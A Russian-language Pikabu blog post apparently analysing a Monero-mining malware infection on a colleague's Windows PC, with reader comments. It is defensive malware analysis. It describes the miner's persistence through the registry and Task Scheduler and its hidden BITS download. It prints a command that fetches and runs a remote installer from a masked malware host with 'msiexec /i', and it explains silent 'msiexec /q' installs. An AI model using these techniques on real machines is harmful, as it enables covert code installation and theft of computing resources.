Криптоджекинг. Разбор случайного вируса-майнера под Windows.

Как-то раз на неделе обратился ко мне коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.
Я взялся посмотреть, что же это было.
Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство "мастеров", думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker'ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении ЭВМ - открывается вот такое вот окошко (скрин не было сделать возможности с него, звиняйте, скрины пойдут дальше):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В автозагрузке, повторюсь всё в порядке:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

После того, как компьютер был штатно заштопан двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.
Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.

Шаг 0. Попадание первичного файла в систему.
Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов - ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует "Планировщик заданий" (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие а**сты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.
Итак, я попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Дальше я стал копать и выяснил, что бирюзовое окно - это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол (с 2016 года, по версии xakep.ru) стал часть использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

И, вуаля, я получил какой-то файл, весом гораздо больше пустой веб-страницы:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива - всегда будет получен тот же файл. Давайте исследуем его.
Шаг 1: Первичный файл загружен. Что это?
Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это - файл инсталлятора чего-либо:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 2. Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, как оказалось, программа никаких файлов в себе не содержала - только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).
Шаг 3. Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 4. Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal'е, и получил следующий результат:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология
Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). Зачем предназначена 5 строка (пингует локалхост), я точно не знаю - скорее всего это какие-то внутренние операции для работы вируса. Программа также передаёт на сервер данные о системе, её разрядности, производительности и т.п. отдельным потоком, это можно видеть в коде, но эту часть я вырезал из-за сложности интерпретации.
Подробно нас интересует четвертая строчка: что такое msiexec?
Шаг 5. Загрузка главного инсталлятора. Распаковка.
Для тех, кто слышит об этом в первый раз - да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.
Ситуация такая же, как и с первым файлом - если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково - обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.
Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё два файла, но он запаролен. Для начала я исследовал файл unzip.exe:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется "Info-Zip UnZip", и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик - что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой: msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt
После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 6. В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает - распаковываются файлы только оригинальным UnZip'ом при помощи этой команды.
Все файлы внутри архива - исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Этот файл представляет собой json - конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету "Monero". Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера "****Rig":

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую "работу", и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом - никаких окон).

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры. С вами был Kekovsky, специально для pikabu.

Информационная безопасность IT

1.4K постов25.5K подписчиков

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.

Вы смотрите срез комментариев. Показать все
191
DELETED
Автор поста оценил этот комментарий
Комментарий удален. Причина: данный аккаунт был удалён
раскрыть ветку (9)
200
DELETED
Автор поста оценил этот комментарий
Комментарий удален. Причина: данный аккаунт был удалён
раскрыть ветку (1)
76
Автор поста оценил этот комментарий

Аналогично!

Ничего не понял, но прочитал полностью и одобряю))

158
Автор поста оценил этот комментарий
Ты можешь поставить минус, а потом дважды нажать на плюс.
Иллюстрация к комментарию
раскрыть ветку (4)
17
Автор поста оценил этот комментарий
Иллюстрация к комментарию
раскрыть ветку (2)
1
Автор поста оценил этот комментарий
Я правильно вижу, что левый глаз актера закрыт, а на веке нарисован пустой глаз?
раскрыть ветку (1)
Автор поста оценил этот комментарий

Непонятно что там, но вряд ли они стали бы до такого опускаться.

ещё комментарий
2
Автор поста оценил этот комментарий

С восьмого выня можно ставить что угодно из репозитариев windows через OneGet

https://habr.com/post/239155/

msiexec.exe как-то не пользовался, но видимо она появилась раньше.

Кому не лень, проверьте, поставится, например, фаирфокс по команде

msiexec.exe /q /i https://ftp.mozilla.org/pub/firefox/releases/52.9.0esr/win32...

раскрыть ветку (1)
7
Автор поста оценил этот комментарий

Не поставится - msiexec не умеет *.exe устанавливать.

Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку